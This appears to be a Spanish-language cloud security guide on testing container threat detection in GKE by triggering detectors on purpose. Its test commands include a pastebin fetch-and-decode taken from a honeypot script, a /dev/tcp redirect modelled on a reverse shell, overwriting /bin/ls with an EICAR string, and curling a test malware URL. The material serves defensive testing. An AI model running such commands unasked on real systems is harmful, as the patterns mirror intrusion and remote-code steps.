Probar la detección de amenazas de contenedores

En esta página, se explica cómo verificar que Container Threat Detection funcione. Para ello, activa de forma intencional los detectores y verifica de los resultados. Container Threat Detection es una integrado de los niveles Premium y Enterprise de Security Command Center. Para ver los resultados de Container Threat Detection, debe estar habilitada en la configuración de Servicios del Security Command Center.

Antes de comenzar

Para detectar amenazas potenciales a tus contenedores, debes asegurarte de que tus clústeres estén en una versión compatible de Google Kubernetes Engine (GKE). Para obtener más información, consulta Usa una versión de GKE compatible.

Configura las variables de entorno

Para probar los detectores, usa la consola de Google Cloud y Cloud Shell. Puedes establecer variables de entorno en Cloud Shell para facilitar la ejecución de los comandos. Las siguientes variables se usan para probar todos los detectores de la detección de amenazas a contenedores.

  1. Ve a la consola de Google Cloud.

    Ve a la consola de Google Cloud.

  2. Selecciona el proyecto que contiene el contenedor que deseas usar para probar.

  3. Haz clic en Activate Cloud Shell (Activar Cloud Shell).

  4. En Cloud Shell, configura las variables de entorno:

    1. La zona en la que se encuentra tu clúster:

      export ZONE=CLUSTER_ZONE
      
    2. El proyecto en el que se encuentra tu contenedor:

      export PROJECT=PROJECT_ID
      
    3. El nombre del clúster:

      export CLUSTER_NAME=CLUSTER_NAME
      

Se establecen las variables. En las siguientes secciones, se incluyen instrucciones para probar los detectores de amenazas de contenedores.

Se ejecutó el objeto binario agregado

Para activar un resultado binario agregado, descarta un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 18.04, copia /bin/ls en otra ubicación y, luego, la ejecuta. La ejecución del objeto binario es inesperada porque la copia del objeto binario no era parte de la imagen del contenedor original, incluso cuando esa imagen está en Ubuntu 18.04, y los contenedores están destinados a ser inmutables.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Suelta un objeto binario y ejecútalo:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

En este procedimiento de prueba, se debería crear un hallazgo ejecutado de objeto binario agregado que se puede ver en Security Command Center, y en Cloud Logging si configuraste Logging para Container Threat Detection. Ver los resultados en Cloud Logging solo está disponible si activas Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando se crea un contenedor, Container Threat Detection filtra de manera temporal los resultados de Objetos binarios ejecutados. Para ver todos los objetos binarios agregados Se ejecutaron los resultados mientras se configuraba un contenedor. Prefija el nombre del contenedor o el nombre del Pod con ktd-test, como en el ejemplo.

Se cargó la biblioteca agregada

Para activar un resultado de carga de la biblioteca agregada, descarta una biblioteca en tu contenedor y, luego, cárgala. En este ejemplo, se implementa la última imagen de Ubuntu 18.04, copia /lib/x86_64-linux-gnu/libc.so.6 en otra ubicación y, luego, se carga con ld. La biblioteca cargada es inesperada porque la copia de la biblioteca no formaba parte de la imagen del contenedor original, incluso si esa imagen está en Ubuntu 18.04, y los contenedores están destinados a ser inmutables.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plan de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Descarta una biblioteca y usa ld para cargarla:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

En este procedimiento de prueba, se debería crear una biblioteca agregada cargada que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Ver los resultados en Cloud Logging solo está disponible si activas Premium o Enterprise Security Command Center a nivel de la organización.

Para reducir el ruido, cuando se crea un contenedor, Container Threat Detection filtra de manera temporal los resultados cargados de bibliotecas agregadas. Cómo ver toda la Biblioteca agregada Se cargaron los resultados mientras se configura un contenedor, agrega el prefijo al nombre del contenedor o el nombre del Pod con ktd-test, como en el ejemplo.

Ejecución: Se ejecutó el binario malicioso agregado

Para activar una ejecución: Se agregó el hallazgo de ejecución de binario malicioso, descarta un binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa más reciente de Ubuntu 18.04, crea un archivo malicioso simulado y lo ejecuta. La ejecución del objeto binario es inesperado porque el binario malicioso simulado no era parte del imagen del contenedor original y el objeto binario es un EICAR archivo de prueba, un archivo clasificado como malicioso por la inteligencia de amenazas.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Quita el objeto binario de EICAR y ejecútalo:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

Este procedimiento de prueba debe crear una ejecución: Se agregó el objeto binario malicioso agregado. que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. Visualización los hallazgos en Cloud Logging solo están disponibles si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando se crea un contenedor, Container Threat Detection filtra temporalmente Ejecución: Se agregaron hallazgos de Objetos binarios ejecutados. Para ver todas las ejecuciones: Se agregaron los hallazgos de ejecutables maliciosos maliciosos mientras un contenedor está cuando se esté configurando, agrega el prefijo ktd-test al nombre del contenedor o del Pod, como en el ejemplo.

Ejecución: ejecución de binario malicioso modificado

Para activar una ejecución: hallazgo de ejecución de binario malicioso modificado, modifica un binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa imagen más reciente de Ubuntu 18.04, modifica /bin/ls en un archivo malicioso simulado y, luego, lo ejecuta. La ejecución del objeto binario es inesperada porque el /bin/ls se modifica durante el entorno de ejecución del contenedor como un objeto binario malicioso simulado, que es un EICAR archivo de prueba, un archivo clasificado como malicioso por la inteligencia de amenazas.

un EICAR prueba el archivo malicioso y lo ejecuta. La ejecución del objeto binario es inesperado porque el /bin/ls creado se modifica durante el entorno de ejecución del contenedor como un archivo binario de EICAR que prueba un binario malicioso y este es un archivo malicioso conocido según la información sobre amenazas.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Quita el objeto binario de EICAR y ejecútalo:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Este procedimiento de prueba debe crear un hallazgo de Ejecución: Binario malicioso modificado ejecutado que puedas en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Ver los resultados en Cloud Logging solo está disponible si activas Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando se crea un contenedor, Container Threat Detection filtra de manera temporal los resultados Ejecución: Objetos binarios maliciosos modificados. Para ver todos los resultados: Objetos binarios maliciosos modificados y ejecutados mientras el contenedor está cuando se esté configurando, agrega el prefijo ktd-test al nombre del contenedor o del Pod, como en el ejemplo.

Secuencia de comandos maliciosa ejecutada

Para activar un hallazgo de ejecución de secuencia de comandos maliciosa, puedes ejecutar la secuencia de comandos del siguiente procedimiento en tu contenedor.

El procedimiento implementa la última imagen de Ubuntu 18.04 y copia una secuencia de comandos que parece malicioso y lo ejecuta. Para activar una detección, se debe parecer maliciosa para el detector.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plan de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.

    Este secuencia de comandos de shell Bash en línea se originó en un honeypot. Sin embargo, se modificó para que no ejecute el binario malicioso por lo que ejecutar la secuencia de comandos no provocará actividad maliciosa en el contenedor. Es posible que se haya quitado el objeto binario de la URL a la que se hace referencia y que está intentando de seguir la URL generará un error 404. Esta situación es esperable. El intento de descargar, decodificar y ejecutar un objeto binario con una de comandos intercalada es lo que activa la detección.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Este procedimiento de prueba crea un resultado ejecutado de secuencias de comandos maliciosas que puedes ver en Security Command Center y en Cloud Logging si configuraste el registro para Container Threat Detection. La visualización de los resultados en Cloud Logging solo está disponible si activas el plan Premium o Enterprise de Security Command Center.

Se observó la URL maliciosa

Para activar un hallazgo de “URL observada” maliciosa, ejecuta un objeto binario y proporciona una URL maliciosa como argumento.

En el siguiente ejemplo, se implementa una Ubuntu 18.04 y ejecuta /bin/curl para acceder a una URL de software malicioso de muestra desde el Navegación segura servicio.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plan de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Ejecuta curl y proporciona una URL maliciosa como argumento:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Este procedimiento de prueba activa un hallazgo de URL maliciosa observada que puedes ver en Security Command Center y, si configuraste Logging para Container Threat Detection, en Cloud Logging. Visualización hallazgos en Cloud Logging solo están disponibles si activas el El nivel Premium o Enterprise de Security Command Center a nivel de la organización.

Shells inversas

Para activar un resultado de shell inverso, inicia un objeto binario con redireccionamiento stdin a un socket conectado a TCP. Este ejemplo comienza /bin/echo con un redireccionamiento a la DNS público de Google 8.8.8.8 en el puerto DNS. No se imprime nada cuando ejecutas este ejemplo. Para evitar cualquier inyección de código externo a través de un ataque de intermediarios (MITM), este ejemplo no usa el /bin/bash binary.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plan de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Inicia un objeto binario con el redireccionamiento /bin/echo para el DNS público de Google:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

Esto debería crear una búsqueda de shell inversa que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Ver los resultados en Cloud Logging solo está disponible si activas el El nivel Premium o Enterprise de Security Command Center a nivel de la organización.

Shell secundario inesperado

Para probar el detector Unexpected Child Shell, puedes crear un árbol de procesos que incluya un proceso de shell secundario.

En el siguiente ejemplo, se crea un árbol de procesos consul->dash, que el detector Unexpected Child Shell puede detectar. Esta prueba es segura porque solo usa objetos binarios integrados. En este ejemplo, se realizan las acciones siguientes:

  1. Crea una copia del proceso bash y le asigna el nombre consul.
  2. Copia el proceso echo y le otorga el nombre dash.
  3. Invoca el proceso dash copiado en el proceso consul copiado.

Para activar un hallazgo Unexpected Child Shell, haz lo siguiente:

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Usa el proceso consul simulado para invocar una shell simulada:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \
    /tmp/consul -c "/tmp/bash child ran successfully & wait"'
    

En este procedimiento de prueba, se crea un resultado de Unexpected Child Shell que puedes en Security Command Center. Si Logging está configurado para Container Threat Detection y tienes Security Command Center Premium o Enterprise activado a nivel de la organización, puedes ver el en Cloud Logging.

¿Qué sigue?